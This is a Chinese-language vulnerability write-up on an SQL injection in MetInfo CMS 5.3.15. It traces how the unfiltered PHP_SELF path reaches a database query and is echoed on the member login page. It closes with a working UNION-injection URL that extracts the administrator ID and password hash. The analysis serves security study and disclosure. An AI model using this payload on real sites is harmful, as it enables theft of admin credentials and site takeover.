metinfo最新版一处未修复的SQL注入详细分析

网上的poc早都出来了,然而分析的都很简略,最新版的5.3.15还是未修复。cherry师傅分析的挺详细的,顺着思路自己捋了一遍
1)首先漏洞点在/app/system/include/compatible/metv5_top.php中大约第26行

//获取当前应用栏目信息
$PHP_SELF = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$PHP_SELFs = explode('/', $PHP_SELF);
$query = "SELECT * FROM {$_M['table'][column]} where module!=0 and foldername = '{$PHP_SELFs[count($PHP_SELFs)-2]}' and lang='{$_M['lang']}'";
$column = DB::get_one($query);

因为直接的PHP_SELF没有WAF防护,所以无过滤,上述代码会分割url然后带入到SQL语句中执行,数据库的结果集为$column,然后在该文件的第57行

$classnow = $column['id'];

会把结果集的id字段赋给$classnow,$classnow在后面的页面中有回显,最后要用到。
这个漏洞点简单,关键是寻找利用点
2)利用点在/member/login.php中,正向跟代码,其中第11行

require_once '../app/system/entrance.php';

继续跟,在/app/system/entrance.php中最后两行

require_once PATH_SYS_CLASS.'load.class.php';
load::module();

会调用/app/system/include/class/load.class.php文件,跟一下module函数

public static function module($path = '', $modulename = '', $action = '') {
        if (!$path) {
            if (!$path) $path = PATH_OWN_FILE;
            if (!$modulename) $modulename = M_CLASS;
            if (!$action) $action = M_ACTION;
            if (!$action) $action = 'doindex';
        }
        return self::_load_class($path, $modulename, $action);
    }

其中return self::_load_class($path, $modulename, $action);
会调用_load_class函数

private static function _load_class($path, $classname, $action = '') {
        $classname=str_replace('.class.php', '', $classname);
        $is_myclass = 0;
        if(!self::$mclass[$classname]){
            if(file_exists($path.$classname.'.class.php')){
                require_once $path.$classname.'.class.php';
            } else {
                echo str_replace(PATH_WEB, '', $path).$classname.'.class.php is not exists';
                exit;
            }
            $myclass = "my_{$classname}";
            if (file_exists($path.'myclass/'.$myclass.'.class.php')) {
                $is_myclass = 1;
                require_once $path.'myclass/'.$myclass.'.class.php';
            } 
        }
        if ($action) {
            if (!class_exists($classname)) {
                die($action.' class\'s file is not exists!!!');
            }
            if(self::$mclass[$classname]){
                $newclass = self::$mclass[$classname];
            }else{
                if($is_myclass){
                    $newclass = new $myclass;
                }else{
                    $newclass = new $classname;
                }
                self::$mclass[$classname] = $newclass;
            }
            if ($action!='new') {
                if(substr($action, 0, 2) != 'do'){
                    die($action.' function no permission load!!!');
                }
                if(method_exists($newclass, $action)){
                    var_dump($newclass);
                    var_dump($action);
                    call_user_func(array($newclass, $action));
                }else{
                    die($action.' function is not exists!!!');
                }
            }
            return $newclass;
        }
        return  true;
    }

其中call_user_func(array($newclass, $action));会调用类和方法,这里我输出了一下,是login类的doindex方法,
在/app/system/web/user/login.class.php中,

public function doindex() {
        global $_M;
        $session = load::sys_class('session', 'new');

        // 如果已登录直接跳转到个人中心
        if($_M['user'])
        {
            okinfo($_M['url']['user_home']);
        }

        // 如果从其他页面过来
        if(isset($_SERVER['HTTP_REFERER']))
        {    
            // 是否从本站过来
            $referer = parse_url($_SERVER['HTTP_REFERER']);
            if($referer['host']==$_SERVER['HTTP_HOST'])
            {
                // 来源页面保存到cookie
                setcookie("referer",$_SERVER['HTTP_REFERER']);
            }
        }
        if($session->get("logineorrorlength")>3)$code=1;
        require_once $this->template('tem/login');
    }

其中这行

require_once $this->template('tem/login');

跟进去,在/app/system/web/user/class/userweb.class.php中

protected function template($path){
        global $_M;
        #var_dump($path);
        list($postion, $file) = explode('/',$path);
        if ($postion == 'own') {
            return PATH_OWN_FILE."templates/met/{$file}.php";
        }
        if ($postion == 'ui') {
            return PATH_SYS."include/public/ui/web/{$file}.php";
        }
        if($postion == 'tem'){
            if($_M['custom_template']['sys_content']){
                $flag = 1;
            }else{
                $flag = 0;
            }
            if (file_exists(PATH_TEM."user/{$file}.php")) {
                $_M['custom_template']['sys_content'] = PATH_TEM."user/{$file}.php";
            }else{    
                if (file_exists(PATH_SYS."web/user/templates/met/{$file}.php")) {
                    $_M['custom_template']['sys_content'] = PATH_SYS."web/user/templates/met/{$file}.php";
                }
            }
            if($flag == 1){
                return $_M['custom_template']['sys_content'];
            }else{
                return $this->template('ui/compatible');
            }
            
        }            

    }

走一下流程,初次调用时$path为tem/login,然后走到这里

if (file_exists(PATH_SYS."web/user/templates/met/{$file}.php")) {
                    $_M['custom_template']['sys_content'] = PATH_SYS."web/user/templates/met/{$file}.php";
                }

其中$_M['custom_template']['sys_content']我们输出一下为

\app\system\web\user\templates\met\login.php

是一个模板文件,之后回显的时候要用到
然后执行到

return $this->template('ui/compatible');

会再一次调用template函数,最后的返回值是/app/system/include/public/ui/web/compatible.php
也就是最终会调用compatible.php文件,在该文件中

require_once PATH_WEB.'app/system/include/compatible/metv5_top.php';
require_once $_M['custom_template']['sys_content'];

会调用metv5_top.php文件,正是开头所说的漏洞文件;会调用$_M'custom_template',而之前我们得到该变量的值为

\app\system\web\user\templates\met\login.php

也就是会调用login.php文件,这个文件就是回显,其中第六行

require_once $this->template('tem/head');

会调用/app/system/web/user/templates/met/head.php文件,其中第15行

data-variable="{$_M[url][site]}|{$_M[lang]}|{$classnow}|{$id}|{$class_list[$classnow][module]}|{$_M[config][met_skin_user]}" />

其中输出的$classnow就是我们开头所说的数据库结果集赋的值,可以显示出来,union注入即可

所以网上的poc为

http://localhost/metinfo/member/login.php/aa'UNION%20SELECT%20(select%20concat(admin_id,0x23,admin_pass)%20from%20met_admin_table%20limit%201),2,3,4,5,6,1111,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29%23/aa

右键看源码QQ图片20170224143224.png